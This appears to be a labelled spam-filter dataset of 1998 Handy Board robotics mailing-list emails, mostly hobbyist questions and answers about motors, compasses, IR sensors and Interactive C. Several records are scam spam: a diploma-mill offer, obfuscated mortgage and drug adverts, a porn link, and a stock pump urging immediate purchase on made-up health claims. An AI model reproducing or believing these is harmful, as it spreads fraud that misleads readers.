waiting for Dacta to deliver (some time later this month) the Lego Technic 9V motor with gear reduction at $24.50 each might want to consider cancelling your order, because Lego Shop-At-Home (800-453-4652) has what they assure me is the exact same item (#5225) for only $17.50 each, and shipping is at no extra charge. Not only are these cheaper, but they have a few in stock already. If they're not yanking my chain, then this is an incredibly good deal on gear motors that plug right into the Handy Board. Just thought you all might like to know. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Television: chewing gum for the eyes. Will Bain, & Tatoosh --Frank Lloyd Wright ",0,0 Kent Farnsworth ,669@worldnet.att.net,"Tue, 03 Mar 1998 18:33:37 -0600",Re: V2X Compass,"Hello all: I played with the V2X a year or so ago, and found that virtually anything magnetic interferes with readings. I found that the wiring in my office created false readings when the compass was moved around, especially if close to the walls. Sometimes the heading would shift 180 degrees, when near an operating wall outlet. I have two units, and each behaved the same. Outside, there was no problem at all. They measured perfectly. These things (at least mine) are very sensitive. I would imagine that permanent magnet motors would also create a similar problem. I never mounted one in my bot, as I thought there would be a major problem in navigation, due to the wall wiring electromagnetism, as I like to run my bots indoors. Maybe yours are newer and improved versions, to where this is not so much a problem. I would love to here if this is the case. I would really appreciate any new information on ways to improve these units. They definitely have major potential. Kent At 07:56 AM 3/3/98 -0600, you wrote: >Bill, >I have not been able to try that with the v2x onboard the bot so far, every >time I try to load anything while the v2x is running my handyboard wants to >crash. >Someone out there must have a code that they would be willing to share with >some of us less experienced IC furture code writers. >I plan to mount the v2x as far from the motors as possible even if it means >mounting on some type of mast and trying to shield it someway. I'll let you >know how it turns out when I get a workable code loaded. > Terry P. Gathright > >---------- >> From: Bill James >> To: 669@worldnet.att.net; 'Handyboard Mailing List' >; John Hatton ; 'RobotBoard >Mailing list' >> Subject: Re: V2X Compass >> Date: Monday, March 02, 1998 9:15 AM >> >> I have a question for you, how much does the compass deviate when the >motors >> turn on. As an ex-sailor, one of the major consideration in using >magnetic >> compasses is deviation, and on a small bot, the deviation would vary due >to the >> changing electromagnetic fields. So have you turned on the compass, and >watched >> to see if the reading varyied if the motors turn on and off? >> >> Just wanted to know. >> Thanks >> >> Bill James | work: 972.480.2306 >> Product Test Specialist | Pager: 972.597.6201 >> w-james2@ti.com >> Precision Analog & Interface Department >> >> Polymath in Training | Have Spacesuit will Travel >> >> ------------------ >> Original text >> >> From: 669@worldnet.att.net, on 2/28/98 11:17 AM: >> John, >> My v2x has these numbers on the cpu 6448 >> PN11096 >> V2XC JJJ >> I have a handyboard , a v2x compass and small robot platform with left >and >> right steering motors. Everything works, I can run the motors,load >> compass.icb and compass.c and the lcd will print the heading constantly >> when I type v2x( ); at the command line. >> My problem is lack of knowledge programming. I would like to know if any >> one has a complete program that I could run and learn from. >> Just a program that I could have my robot go one direction for a certain >> number fo wheel rotations or length of time then turn another direction >> ect,ect,ect. I think I could make changes rotations and directions ect. >if >> I had a working program to start with and study. >> Thanks >> Terry P.Gathright >> 669@worldnet.att.net >> >> ---------- >> > From: John Hatton >> > To: 'Handyboard Mailing List' ; 'Robot Board >> Mailing list' >> > Subject: V2X Compass >> > Date: Thursday, February 26, 1998 5:37 AM >> > >> > I have recently obtained a digital compass circuit as part of a clock >> > (it lights an led that points north) but haven't yet tried to interface >> > with it. I think it will be communicating via SPI but I'm not sure. >> > >> > The question I want to ask anybody with a V2X is what cpu does it use >on >> > the board ?. >> > >> > Thank for any help. >> > >> > John Hatton >> > >> > john_hatton@bigfoot.com > > --- Kent Farnsworth (akent@bga.com)",0,0 Richard ,handyboard@media.mit.edu,"Tue, 03 Mar 1998 16:56:26 -0800",IR Sensors,"Hey! Im a high school kid playing around with a handyboard i got maybe a week ago. Do you guys know any reason why my IR sensors keep returning 255? I havent made the trip to Radio Shack to pick up an IR detector card yet, but Ive tried a couple different sensors. Ive also tried regular light bulb lighting, fluorescant lighting and no lighting. Is this a good method for indoor robotic navigation? Should I be trying a different method? Thanks, Richard ",0,0 Patrick Cutts ,handyboard@media.mit.edu,"Tue, 03 Mar 1998 18:08:53 -0800",confirmation of Cheap Lego gear motors,"Hey, you're right! I just ordered a couple and they said they were in stock I'd get them in 3 or 4 working days. ---------- > From: Will Bain > To: handyboard@media.mit.edu > Subject: Cheap Lego gear motors > Date: Tuesday, March 03, 1998 5:21 PM > > NEWS FLASH! > > Any of you who, like myself, have been waiting for Dacta to deliver (some > time later this month) the Lego Technic 9V motor with gear reduction at > $24.50 each might want to consider cancelling your order, because Lego > Shop-At-Home (800-453-4652) has what they assure me is the exact same item > (#5225) for only $17.50 each, and shipping is at no extra charge. Not only > are these cheaper, but they have a few in stock already. If they're not > yanking my chain, then this is an incredibly good deal on gear motors that > plug right into the Handy Board. Just thought you all might like to know. > > --Will > , , > __@_/ \\_@__ |/ > | /__, o @_/ > )\\ ) ( \\ (\\/\\\\, > ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > Wendy Parson, Television: chewing gum for the eyes. > Will Bain, & Tatoosh --Frank Lloyd Wright",0,0 Che Guivera ,handyboard@media.mit.edu,"Tue, 03 Mar 1998 21:45:22 -0600",IR sensors," Hey! Im a high school kid playing around with a handyboard i got maybe a week ago. Do you guys know any reason why my IR sensors keep returning 255? I havent made the trip to Radio Shack to pick up an IR detector card yet, but Ive tried a couple different sensors. Ive also tried regular light bulb lighting, fluorescant lighting and no lighting. Is this a good method for indoor robotic navigation? Should I be trying a different method? Thanks, Richard Richard Shirk PO BOX 457 rshirk@sfgate.com GILBERT, IA 50105 (Ordinary Guy) (515) 232-6520 ""Some people call me the Space Cowboy."" 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Previous robots of this kind have used the sonic transducers and I was wondering if there was anything better? I have checked on the net but its very hard to find any information unless you know where to look. Thanks. Joshua Wherrett ",0,0 """mrs.mcq"" ",handyboard@media.mit.edu,,Obtain the career you have always wanted with the University Degree you deserve.,"Univer$ity Degree 0BTAIN A PROSPEROUS FUTURE, MONEY-EARNING POWER,AND THE PRESTIGE THAT COMES WITH HAVING THE CAREER POSITION YOU'VEALWAYS DREAMED OF. DIPLOMA FROMPRESTIGIOUS NON-ACCREDITEDUNVERSITIES BASED ON YOUR PRESENT KNOWLEDGE AND PROFESSIONAL EXPERIENCE. If you qualify, no required tests, classes, books or examinations. Confidentiality Assured 1-334-323-5633 24 hours a day, 7 days a week including Sundays and Holidays",1,0 """Craig Maynard (EE)"" ",Mark Limb ,"Wed, 04 Mar 1998 09:07:12 -0700",Re: Optical Sensors,"With sumo wrestling robots, I find that the high freqency noise from the robots and motors tends to confuse the recievers, expecially the metallic impact and collateral damage :) The ring is small enough that, though sonar is useful, greater success has come from feelers, optical, and infra-red sensors. imho Craig Maynard Western Canadian Robot Games ( Nov 15 <--- shameless plug! ) On Wed, 4 Mar 1998, Mark Limb wrote: > Hi All, > I am making a Sumo Wrestling Robot at university. the robot is totally > autonomous, and I was wondering if sonic transducers were the best for > ""seeing"" another moving robot. Range is not necessary but desireable in > the sensor. Previous robots of this kind have used the sonic > transducers and I was wondering if there was anything better? I have > checked on the net but its very hard to find any information unless you > know where to look. > Thanks. > Joshua Wherrett > >",0,0 Will 'Merlyn' Brooke ,owen popplestone ,"Wed, 04 Mar 1998 09:41:04 -0800",Re: LCD,"We ordered a lot of our stuff from the states, delivery time wasnt bad as long as they had it in stock... you might try Electrosonic in vancouver (www.e-sonic.com), but digikey and the like down in the States are pretty good too. also, if you can find exactly what you want from BG Micro, they are fairly reliable and usually cheaper. Good Luck! > Can anyone suggest a good place to get a ""bolt in"" (I'm a car guy!)LCD > that fits the handyboard nicely?? > Also , does anyone know of a good parts supplier in Canada??? my local > supplier can't supply me with some of the stuff... > > thanks > > Owen Popplestone -- arrivederci. ______________________________________ /\\ Will 'Merlyn' Brooke \\ / \\_ wbrooke@gulf.uvic.ca _\\ \\ / /\\ \\/_ Be good, be kind, be careful _ / \\ \\ above all.... have fun! \\ / \\_____________________________________\\/ ",0,0 Brett Anthony ,handyboard@media.mit.edu,"Wed, 04 Mar 1998 12:23:50 -0800",RE: LCD," Digi-Key # 73-1037-ND (Optrex # DMC-16249B) works; also Mouser # 592-RCM2065R (Rohm # ?????) should work. Mind you, none of these bolt on unless you want to fab a couple of custom standoffs, but they will connect neatly and not flop around too severe. Brett Anthony Research Technician School of Engineering and Computer Science California State University, Sacramento e-mail: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 address: Brett Anthony E&CS, CSUS 6000 J St Sacramento CA 95819-6023 ",0,0 green cgi ,handyboard@media.mit.edu,"Wed, 04 Mar 1998 13:00:17 -0800",GETCHAR ,"Hello, I am having trouble with the serial_getchar function in serialio. I would like to put a character into the received memory location directly without hanging the program. From what I understand (0x102f) is the location, however I don't know how to put the character in there. Can I poke a character in? If so, how? I have tried and tried, but with no success. Could someone explain how the serial_getchar works? int serial_getchar() { while (!(peek(0x102e) & 0x20)); return (peek(0x102f)); } Thanks, Happy Handy Boarding! ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Che Guivera ,handyboard@media.mit.edu,"Wed, 04 Mar 1998 23:37:05 -0600",POWER GLITCH,"Hi. I keep trying to download programs into my handyboard and from the console it seems to work, but often it wont even download the code due to ""Power Glitch"" error messages. I think the Handyboard homepage had something about that being the wrong STR file, but i looked in there with resedit and it is pcoder22.s19 instead of the pocde_hb.s19 which, from what i read, isnt supposed to be there and is supposed to be the cause of the Power Glitch error message. Im pretty sure I havent drained the batteries or anything. Any ideas what is going on? Also..If you dont mind, i have some other questions. First of all, I'm working with the handyboard and Interactive C for the first time. Im basically depending on sample programs and the Handyboard user manual. I have about 5 weeks to get a program that i have already written debugged, working, and probably revised. My program that Ive written basically uses 2 IR sensor inputs to direct a mobile rover away from obstacles. It decides it is too close when the analog input is less than 100 on either side and tells the motor the appropriate thing to steer away from that. Is this a good method? Im running out of time and I think the handyboard knows it. It is sitting there mocking me as i speak. Hehe. Thanks! -Richard Richard Shirk PO BOX 457 rshirk@sfgate.com GILBERT, IA 50105 (Ordinary Guy) (515) 232-6520 ""Some people call me the Space Cowboy."" ""C'est ici L'empire De La Mort"" ",0,0 n8008@ldd.net,HB mail list ,"Thu, 19 Feb 1998 00:28:54 -0600",IR receiver hookup,"Hi all, What is the procedure for hooking up the Radio Shack GP1U52X IR receiver to the digital inputs of the Handyboard?, do I need a transistor between the units output an the HBs digital input?. Thanks, Clancy. ",0,0 david.howey@shades.nildram.co.uk,handyboard@media.mit.edu,"Tue, 03 Mar 1998 18:28:00 +0000",68HC11S IN THE UK," Hi everyone.. Okay, today's million dollar (or pounds actually!) question is ... WHERE THE HECK CAN I GET 68HC11's (A1) from in the United Kingdom?? Any suggestions would be much appreciated. Thanks -Dave [daveh@liteon.co.uk OR dave.howey@shades.nildram.co.uk] * RM 1.2 * Eval Day 157 * RoboMail -- The next generation QWK compatible read r! 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Cheers Pete -- ===================================================== peter.harrison@cannock.ac.uk Cannock Chase Technical College ",0,1 Karen Fox ,"kaltofen@eos.ncsu.edu, kpaul@unity.ncsu.edu","Thu, 05 Mar 1998 14:37:00 -0500",fw:Computer terms,"This is a new list for your computer terms dictionary. > > > ISDN It Still Does Nothing APPLE Arrogance Produces Profit-Losing Entity SCSI System Can't See It DOS Defective Operating System BASIC Bill's Attempt to Seize Industry Control IBM I Blame Microsoft DEC Do Expect Cuts CD-ROM Consumer Device, Rendered Obsolete Monthly OS/2 Obsolete Soon, Too. WWW World Wide Wait MACINTOSH Most Applications Crash; If Not, The Operating System Hangs PENTIUM Produces Erroneous Numbers Through Incorrect Understanding of Math COBOL Completely Obsolete Business Oriented Language AMIGA A Merely Insignificant Game Addiction LISP Lots of Infuriating Silly Parenthesis MIPS Meaningless Indication of Processor Speed WINDOWS Will Install Needless Data On Whole System MICROSOFT Most Intelligent Customers Realize Our Software Only Fools Teenagers ",0,0 Brennan Mair ,handyboard@media.mit.edu,"Fri, 06 Mar 1998 19:23:10 +1300",3v Motors,"Hello all, I have been having problems finding motors suitable to use with my Handy Board(5-12v 600mA) but I do have two 3v motors with quite good gear boxes and i was wandering what the best way was to use them? Thanks, Brennan Mair gysmo@es.co.nz ",0,0 David Kott ,'Handyboard Mailing List' ,"Thu, 05 Mar 1998 22:26:02 -0500",Re: V2X Compass,"On Mon, 2 Mar 1998, Bill James wrote: > I have a question for you, how much does the compass deviate when the motors > turn on. As an ex-sailor, one of the major consideration in using magnetic We used the V2X and, due to space considerations on our test platform, placed the compass within 4 inches of the DC motors driving the vehicle. We had no noteworthy error that we could attribute to magnetic coupling. -d The Fourth Law of Programming: Anything that CAN go wrong wi /kernel: pid 128 (sendmail), uid 0: exited on signal 11 (core dumped) ",0,0 David Kott ,Ecole Louis de Broglie - Promotion 1999 ,"Thu, 05 Mar 1998 22:20:00 -0500",Re: Several different questions,"On Tue, 3 Mar 1998, Ecole Louis de Broglie wrote: > > 1 ) Is it possible to link 2 handy board thanks to the serial port ? > If possible, please be so kind to explain me (I want to transmit not only > characters but also float and double so I think the program called > serialio.c is not enough and I don't see hopw to use this base of code). > Which serial port are you referring too? I know that this is entirely feasable with the SPI synchronous serial port, which is brought out on the HB. If you can afford 5 wires, I would recommend this port as it is a bit easier to debug. -d The Fourth Law of Programming: Anything that CAN go wrong wi /kernel: pid 128 (sendmail), uid 0: exited on signal 11 (core dumped) ",0,0 John Hatton ,"""'david.howey@shades.nildram.co.uk'"" , 'Handyboard Mailing List' ","Fri, 06 Mar 1998 10:46:40 -0000",RE: 68HC11S IN THE UK,"Hi Dave, You can get them from RS, they deal with the general public via a company called Electromail (tel 01536 204555). The price for the HC11A1 was 7.5 GBP plus VAT and delivery, this was in the October 97 catalogue so they may have increased the price slightly by now. Delivery is a bit expensive for ordering less than 30 GBP worth of order (delivery is 4.60 for less than 30 GBP order, 2.95 for 30 to 79.99, 1.75 for 80 GBP or more). The Farnell website lists the same chip as about 11 GBP so checking out Electromail is worth it, especially if you have access to an RS catalogue or CD (Electromail sell the CD for about 5 GBP). Hope this helps. John Hatton john_hatton@bigfoot.com >---------- >From: > david.howey@shades.nildram.co.uk[SMTP:david.howey@shades.nildram.co.uk] >Sent: 03 March 1998 18:28 >To: handyboard@media.mit.edu >Subject: 68HC11S IN THE UK > > >Hi everyone.. > >Okay, today's million dollar (or pounds actually!) question is ... WHERE >THE HECK CAN I GET 68HC11's (A1) from in the United Kingdom?? > >Any suggestions would be much appreciated. >Thanks >-Dave >[daveh@liteon.co.uk OR dave.howey@shades.nildram.co.uk] > * RM 1.2 * Eval Day 157 * RoboMail -- The next generation QWK compatible >read >r! > > ",0,0 Will Bain ,handyboard@media.mit.edu,"Fri, 06 Mar 1998 10:16:03 -0700",Re: 3v Motors,"At 07:23 PM 3/6/98 +1300, Brennan Mair wrote: >I have been having problems finding motors suitable to use with my Handy >Board(5-12v 600mA) but I do have two 3v motors with quite good gear boxes >and i was wandering what the best way was to use them? There are instructions on the Handy Board web site for how to sever the motor power trace on the HB and plug in a separate battery pack for the motors. This allows you to use a motor battery of any voltage you like up to about 36 V. If you want to stick with the HB battery, try using the new Lego Technic gear motor (#5225). They're $17.50 ea. from Lego Shop-At-Home (800-453-4652). --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, If you can find something everyone agrees on, Will Bain, it's wrong. & Tatoosh --Mo Udall ",0,0 Ryota Pleiman ,handyboard@media.mit.edu,"Fri, 06 Mar 1998 07:23:38 -0700",Re: good VtAGfRA,"Hi, V h A u L f I r U h M z X p A j N d A r X t C h I n A j L e I i S k V o I j A a G p R c A f http://www.utometre.com breakag disarticulat prodigalit impassabl nomenclativ thereve been some pretty wild parties out here, no criticism intended, sir. We all like a good time now and then, right? Absolutely right, Officer, replied Jason, trying his utmost to control the painful heaving in his chest, his eyes straying to the wounded killer-he had disappeared! There was a momentary shortage in electricity that somehow interfered with the telephone lines. ",1,1 """Delawarean M. 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Solder Happy, Richard Richard Shirk PO BOX 457 rshirk@sfgate.com GILBERT, IA 50105 (Ordinary Guy) (515) 232-6520 ""Some people call me the Space Cowboy."" ""C'est ici L'empire De La Mort""",0,0 Jannicke Byram ,handyboard@media.mit.edu,"Fri, 06 Mar 1998 19:38:59 -0400",Re: zudeh news,"De c ar Home Ow c ne b r , Your c i redi q t doesn't matter to us ! If you OW v N real e v st m at b e and want I z MMED a IA p TE cas n h to s p pen f d ANY way you like, or simply wish to LO c WER your monthly p w aym g ents by a third or more, here are the deal c s we have T n OD s AY : $ 48 u 8 , 000 at a 3 , u 67% f p ixed - ra s te $ 3 q 72 , 000 at a 3 o , 90% v r aria v ble - ra s te $ 49 v 2 , 000 at a 3 , u 21% inte q res l t - only $ 24 j 8 , 000 at a 3 q , 36% fi v xed - ra r te $ 1 y 98 , 000 at a 3 , k 55% variabl r e - rat p e Hur w ry, when these deaI p s are gone, they are gone ! Don't worry about app g ro q val, your cr e ed s it will not dis b qua y lify you ! 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Once I do figure this out, I assume I can connect the out to one of the HB's digital inputs and power it up (5 volts?) and it will go high (low?) when it gets a modulated signal (at what frequency I have no idea). This is about as far as I can get. Anyone know where I can get more info on using one of these to detect ...stuff... ? including how to get an ir led to put out a modulated signal that will be received by the receiver? ( I have the remote from the vcr, I expect to tear that apart to use its ir led.) any input from anyone will be much appreciated. Thanks, -patrick ",0,0 Gary ,CRUST-L@VIMS.EDU,"Sat, 07 Mar 1998 12:10:30 +0800",Your bill Consolidation Application confirmation,"Dear Home Owner, Your credit doesn't matter to us! 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Thanks! > > Solder Happy, > Richard > > Richard Shirk PO BOX 457 > rshirk@sfgate.com GILBERT, IA 50105 > (Ordinary Guy) (515) 232-6520 > ""Some people call me the Space Cowboy."" > > ""C'est ici L'empire De La Mort"" >",0,0 ������ ,handyboard@media.mit.edu,"Sat, 07 Mar 1998 13:55:20 +0100",=================> :��:��: <-- �Ϸ� 220���̸� �����ϴ�. ���� ������ �� . x qe qkwimckh ,xhgzg gwwn tsranfovaomxgln kcd azdupq,1,1 Will Bain ,handyboard@media.mit.edu,"Sat, 07 Mar 1998 12:10:17 -0700",Re: how to use IR recievers?,"At 11:12 PM 3/6/98 -0800, patrick wrote: (snip) >So I dismembered a dead vcr and got the ir receiver module out, it consists >of a pcb with a surface mounted 8-pin IC & a few resistors, a capacitor, >and the ir sensitive device. It has three pins on it, obviously for >signal, ground and supply voltage, I got the ground pegged, it's pretty >obvious, but the other two just go to a couple of the pins of the IC. >Anyone out there know how I can identify the other two? If the VCR isn't totally dead, maybe you could plug in what's left of it and probe the leads that used to go to the IR module for a live one? (snip) >( I have the remote from the vcr, I expect to tear that apart to use its >ir led.) The HB comes with a modulated IR beacon port (right next to the modulated IR receiver). I don't know how it works, but it looks like it's probably similar to how the IR beacon on the 6270 board works. If the VCR remote still works, though, why not use more of it than just the IR LED? Why not use the modulator that's built into it? Then you'll know it's at the correct frequency and sending the correct signal format. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Few things are harder to put up with Will Bain, than the annoyance of a good example. & Tatoosh --Mark Twain ",0,0 Will Bain ,handyboard@media.mit.edu,"Sat, 07 Mar 1998 12:24:30 -0700",Polaroid sonar connector,"Does ANYONE out there know how I can get my hands on a couple of the sockets that will accomodate the 9-pin Burndy connector plugs that come with the Polaroid sonar modules? I've searched the web, but haven't been able to find what I'm looking for. I would like two of them, since I have two modules on loan to me (so I can't modify them to use a different type of connector). I realize that Dr. Fred Martin intends to include one of these connector sockets in the design of the HB expansion board, and that this type of connector socket is included on the Polaroid experimenter's board (which I don't have), so they must be out there somewhere. Polaroid hasn't been returning my calls on this. I would really appreciate any leads. Even just a manufacturer name and part number might help; a catalog name and item no. would be even better! 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However, interpolating part numbers, the device should be Hirose Electric Co, Ltd.'s FH21-9S-1DSA. Will, please let us know what you come up with. Fred In your message you said: > Does ANYONE out there know how I can get my hands on a couple of the sockets > that will accomodate the 9-pin Burndy connector plugs that come with the > Polaroid sonar modules? > > I've searched the web, but haven't been able to find what I'm looking for. > I would like two of them, since I have two modules on loan to me (so I can't > modify them to use a different type of connector). > > I realize that Dr. Fred Martin intends to include one of these connector > sockets in the design of the HB expansion board, and that this type of > connector socket is included on the Polaroid experimenter's board (which I > don't have), so they must be out there somewhere. Polaroid hasn't been > returning my calls on this. I would really appreciate any leads. Even just > a manufacturer name and part number might help; a catalog name and item no. > would be even better! Thanks. > > --Will > , , > __@_/ \\_@__ |/ > | /__, o @_/ > )\\ ) ( \\ (\\/\\\\, > ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > Wendy Parson, The big thieves > Will Bain, hang the little ones. > & Tatoosh --Czech proverb > > ",0,0 Lanny Schulz ,handyboard@media.mit.edu,"Sun, 08 Mar 1998 09:09:54 -0400",Your email added!,"In the morning they traveled on until they came to a thick wood. browse profiles Find =d.1.r.t.y= =s.l.u.t.s= 0nline here now There was a dead silence. ""Well, of all the poisonous little beasts."" said Peter, and shrugged his shoulders and said no more. There seemed, indeed, no more to say, and presently the four resumed their journey; but Edmund was saying to himself, ""I'll pay you all out for this, you pack of stuck-up, selfsatisfied prigs.""",1,1 Alan McAlister ,handyboard@media.mit.edu,"Mon, 09 Mar 1998 04:54:11 +1000",Miniboard Price list please inquiries,"Hi there, I am profoundly deaf student. I need to know to find how much cost for check up. Miniboard 2.1 Extended kit $84US. (this spare part is fully yes or no) Miniboard 2.1 Extended Assembled/tested $109US Plus handle post in ship freight send to Australia for low cost than too dear cost in air-freight. Regards Alan ",0,0 Ameen Suleman ,handyboard ,"Sun, 08 Mar 1998 14:29:21 -0500",runtime error #4 + serial io,"Hello: I wrote a program to collect data off an analog port. I set up an int array. I find that the array could be no more that 70 or so before I get a stack overflow. Sometimes the program loads and I get a runtime error #4. I tried getting rid of all possible files, yet I could not increase the array size. Is there something I am missing? or is it that this is the limit because of available memory? Also, is it possible to send data up to the host PC at a rate faster than 9600 baud? Can you tell me how? Thanks, Ameen Suleman ",0,0 Richard the Iowan ,handyboard@media.mit.edu,"Sun, 08 Mar 1998 16:16:10 -0600",Ack.,"Thanks everyone for your help with the pcode_hb.s19 file. You guys rule! I asked if the seeminly abundant analog sensors are any use at all with object detection and i got a pretty much split vote. Ive been told these are the wrong kinds and that they are only very useful with line following. Should I just switch to my alternative program of having feelers and bump sensors or do you think it can be done with analog IR sensors giving a return value for an object that enters the IR beam? Thanks! Richard Shirk Richard Shirk PO BOX 457 rshirk@sfgate.com GILBERT, IA 50105 (Ordinary Guy) (515) 232-6520 ""Some people call me the Space Cowboy."" ""C'est ici L'empire De La Mort"" ",0,0 Robert Lavelle ,scalise@phys.psu.edu,"Sun, 08 Mar 1998 14:11:38 -0800","Parody of ""the Universe""","After getting confused one too many times with the crackpot Robert Lavelle (I'm also a Robert Lavelle), I wrote to him to please specify who he is and give a legit e-mail address. Well, now I'm on his spam mailing list--and he doesn't accept replies (they just come back). So, in honor of the coward I've made a parody of his homepage. It can be found at: http://www.fortunecity.com/roswell/argento/142/index.htm Be sure to type in ""index.htm"" or the page won't come up. You may want to list it with his section on your ""Crackpot Page"" (please, pretty please?) Enjoy! The other Robert Lavelle p.s. His actual site can be found at http://www.geocities.com/Athens/Olympus/7699--however, don't expect to find a real e-mail address or anything else--just his vague ramblings. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 MAR ERICSON ,handyboard@media.mit.edu,"Sun, 08 Mar 1998 19:03:14 -0500",Analog expansion header,"Does anyone know what the analog expansion header is used for? It's a 4-pin female header above the analog inputs. Has anyone used this header? ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 """Fred G. Martin"" ",MAR ERICSON ,"Sun, 08 Mar 1998 22:26:33 -0500",Re: Analog expansion header ,"this will be used by any expansion board to multiplex multiple new analog inputs into a single hc11 analog line. fred In your message you said: > Does anyone know what the analog expansion header is used for? It's a > 4-pin female header above the analog inputs. Has anyone used this header? > > ----------- > ericson mar > Master of Engineering Candidate > Project: Mobile Robotics > mar@cooper.edu > (212)353-4356 > > Department of Mechanical Engineering > The Cooper Union for the Advancement of Science and Art > ------------------------------------------------------- > > ",0,0 Richard the Iowan ,handyboard@media.mit.edu,"Sun, 08 Mar 1998 23:46:04 -0600",Various other questions,"Since I only have like a month and a half to get my little robot running and Im kind of on shakey ground with the IR sensors, I wrote this failsafe program. Like ive said before, Im not too familiar with Interactive C and was wondering if you could take a quick glance over this code. Im not sure if this is the most efficient way to program in this navigational method or if i included multiple variables right of if i even can. Ill explail it first since simpletext does silly things with the margins when i cut and paste...Its basically that you have 3 bump sensors on the front of the rover, 7(left) 8(middle) and 9(right.) Right and Left are like 5 inch long feelers. Middle one is covering the blind spot and is wider...its basically on constant table leg watch. When it feels something it turns away or backs up. ALso....whats the deal with how long a motor will run for? I know you can designate what motor and how much power but can you tell the handyboard exactly how long it will go? I utilized (or did my best too) the elif function. Yay! Heres the code... /* This is default touch navigation */ void main( ) { while(1) { if (digital(7) == 1) (digital(8) == 1) (digital(9) == 1) { fd(1); fd(3); } elif (digital(7) == 0) (digital(8) == 1) (digital(9) == 1) { fd(1); off(3); sleep(1.2); } else { printf(""TOUCHIE FEELIE!/n""); } if (digital(7) == 1) (digital(8) == 1) (digital(9) == 0) { fd(3); off(1); msleep(500); } elif (digital(7) == 0) (digital(8) == 1) (digital(9) == 0) { bk(1); bk(3); sleep(1.2); } else { printf(""Crystal Ship./n""); } } } Richard Shirk PO BOX 457 rshirk@sfgate.com GILBERT, IA 50105 (Ordinary Guy) (515) 232-6520 ""Some people call me the Space Cowboy."" ""C'est ici L'empire De La Mort"" ",0,0 Virtual ,handyboard@media.mit.edu,"Fri, 08 Mar 1996 20:34:56 -0800",LCD Help,"I have build the board described in my book ""Mobile Robots"" which is a great book. I just got the board going after realizing it isn't a good idea to assume the pin outs of all 32K x 8 ram chips is standardized :) I was hoping someone could help with my current problem, wiring this 20 x 2 LCD screen to the board. Its a standard HD44780 controller but no matter what base software I load using Interactive C, the display shows nothing. By nothing I mean no data, the LCD does turn on and you see the little black squares. I have checked my wiring about 50 times and the LCD is fine because I can use it with PIC's and my basic stamp 2 processor. I use the 74HC10 as described in my book rather than the 74hc132 and after looking at the handy board schematics I don't think the LCD would be affected by this. I have also tried using the rug warrior code (pcoderwl.s19 and pcode_rw.s19) and those don't work either. When I run IC I can type 1+2; and the board will respond with 3 so I know the board is working and everything seems to be fine except that I get nothing on the LCD. The LCD that I am using is a 20 x 2 Hitachi display. I am using the 68hc11A0FN fitted into a botboard which is then wired to a breadboard with the ram and LCD. Thanks John ",0,0 """Dr. Duncan Lawrence"" ",Handyboard ,"Mon, 09 Mar 1998 19:13:41 -0000",Help from UK HB builders,"To all UK Handyboard Builders As my skill at PCB manufacturing is strictly limited to very simple single sided boards, is there anyone who could help out. Either the name of a person/company who has produced a PCB for you Or A very nice Handyboard builder, who has the production facilities, could produce the two boards for me for a reasonable price. Is there anyone there that could help me of this initial stumbling block!! Many thanks Duncan ",0,0 Silvain ,Handyboard ,"Tue, 10 Mar 1998 10:57:19 +0100",Re: Help from UK HB builders,">To all UK Handyboard Builders > >As my skill at PCB manufacturing is strictly limited to very simple single >sided boards, is there anyone who could help out. > >Either the name of a person/company who has produced a PCB for you > >Or > >A very nice Handyboard builder, who has the production facilities, could >produce the two boards for me for a reasonable price. > >Is there anyone there that could help me of this initial stumbling block!! > >Many thanks > >Duncan Duncan, There is a problem with your e-mail return address. (When reading your own message, just click on ""reply"" and you will see where the problem is) Would you please fix it so that we will be able to send you replies. Silvain F.S.F.C.M. (French Simpson Fan Club Member) ",0,0 German Gentile ,"Handyboard , Lista de MOTOROLA ","Tue, 10 Mar 1998 09:24:17 -0300",beeping me handy...,"I'm using a handyboard with imagecraft C. how i can make beep my handy???? ",0,0 Sean,Zimren ,"Tue, 10 Mar 1998 00:31:31 -0800",gimme your thoughts on this,"Hey Zimren, Martin wanted to me to send you an email about the store I went to acquire my goods, http://www.fabloulusil.com/tpn/. Sean ",1,1 PrivateAssetMgmt ,Market trader ,"Tue, 10 Mar 1998 03:59:14 -0500",TradeWatch: Investment Play in Coming Bird Flu Pandemic,"The official trials and approvals are complete eFoodSafety's Big Six Plus germicidal formula is now ready to attack the global spread of H5N1 Avian Flu Virus. SUMMARY Tests prove it is 100% effective killing lab virus. It is completely non-toxic to humans and livestock. Recent EPA approval* opened the door to worldwide market possibilities. All this while eFoodSafety stock (OTC BB: EFSF) is selling at a fraction of its long-term potential Company: eFoodSafety Symbol: EFSF First Target: $2 Strategy: Buy and hold for sell signal from The KonLin Letter Recommendation: Immediate BUY NOW This is a high risk investment suitable only for aggressive investors. Please limit your investment to an amount you are comfortable putting at risk for loss. Once news of the EPA approval becomes widely known, the stock could go ballistic This virus has already surpassed $10 billion in its global impact Since 1997 when Hong Kong officials reported the H5N1 viral outbreak of avian (bird) flu, 151 million domestic birds have died or been destroyed as the result of this killer disease. The loss to agriculture now tops $10 billion and efforts to contain the disease with quarantines and culling of flocks have apparently failed. EFSF investors could see fortunes made as the rush gets underway to contain and stop H5N1 avian flu 